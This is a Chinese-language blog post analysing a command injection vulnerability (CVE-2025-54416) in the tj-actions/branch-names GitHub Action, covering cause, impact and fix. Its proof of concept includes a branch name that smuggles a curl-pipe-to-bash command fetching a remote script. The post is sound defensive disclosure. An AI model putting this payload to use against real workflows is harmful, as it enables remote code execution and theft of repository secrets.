GitHub Actions分支名称漏洞:命令注入风险深度解析

本文详细分析了tj-actions/branch-names GitHub Action中发现的严重命令注入漏洞CVE-2025-54416,涵盖漏洞技术细节、攻击原理、影响范围及修复方案,帮助开发者及时防范安全风险。

CVE-2025-54416:tj-actions/branch-names命令注入漏洞分析

漏洞概述

在tj-actions/branch-names GitHub Action工作流中发现了一个严重的安全漏洞,该漏洞允许在下游工作流中执行任意命令。此问题源于不一致的输入清理和未转义的输出,使攻击者能够利用特制的分支名称或标签进行攻击。

技术细节

漏洞根源

该漏洞源于在action代码库中不安全地使用eval printf "%s"模式。虽然初始使用printf "%q"进行清理能够正确转义不受信任的输入,但随后通过eval printf "%s"进行的取消转义操作重新引入了命令注入风险。

以下代码片段展示了不安全的使用模式:

1
2
3
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

攻击原理

这种方法允许攻击者将任意命令注入到使用这些输出的工作流中,如下面的概念验证所示。

概念验证

  1. 创建一个名称为$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)的分支
  2. 通过向目标仓库打开拉取请求来触发易受攻击的工作流
  3. 在工作流日志中观察任意代码执行

示例输出:

1
2
3
4
5
6
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner

影响范围

受影响的版本

  • <= 8.2.1

已修复版本

  • 9.0.0

潜在后果

此漏洞允许在使用tj-actions/branch-names输出的仓库中执行任意命令。影响的严重程度取决于授予GITHUB_TOKEN的权限和触发事件的上下文。潜在后果包括:

  • 窃取存储在仓库中的敏感密钥
  • 对仓库的未经授权的写入访问
  • 损害仓库的完整性和安全性

修复方案

技术修复

为了解决此漏洞,必须用更安全的替代方案替换不安全的eval printf "%s"模式。具体来说,直接使用printf调用可以在不取消转义shell不安全字符的情况下实现相同的功能。

以下是推荐的修复代码:

1
2
3
4
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

建议措施

立即行动:使用tj-actions/branch-names工作流的开发人员应将其工作流更新到最新主要版本v9。

参考资源

  • GitHub Actions安全指南
  • 如何保护GitHub Actions工作流
  • 相关漏洞:GHSA-mcph-m25j-8j63
  • 模板注入公告:GHSA-8v8w-v8xg-79rf

漏洞信息

  • CVE ID: CVE-2025-54416
  • GHSA ID: GHSA-gq52-6phf-x2r6
  • 严重程度: 严重(CVSS评分9.1)
  • 弱点类型: CWE-77 命令注入
  • 发布时间: 2025年7月25日
  • 最后更新: 2025年7月28日
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计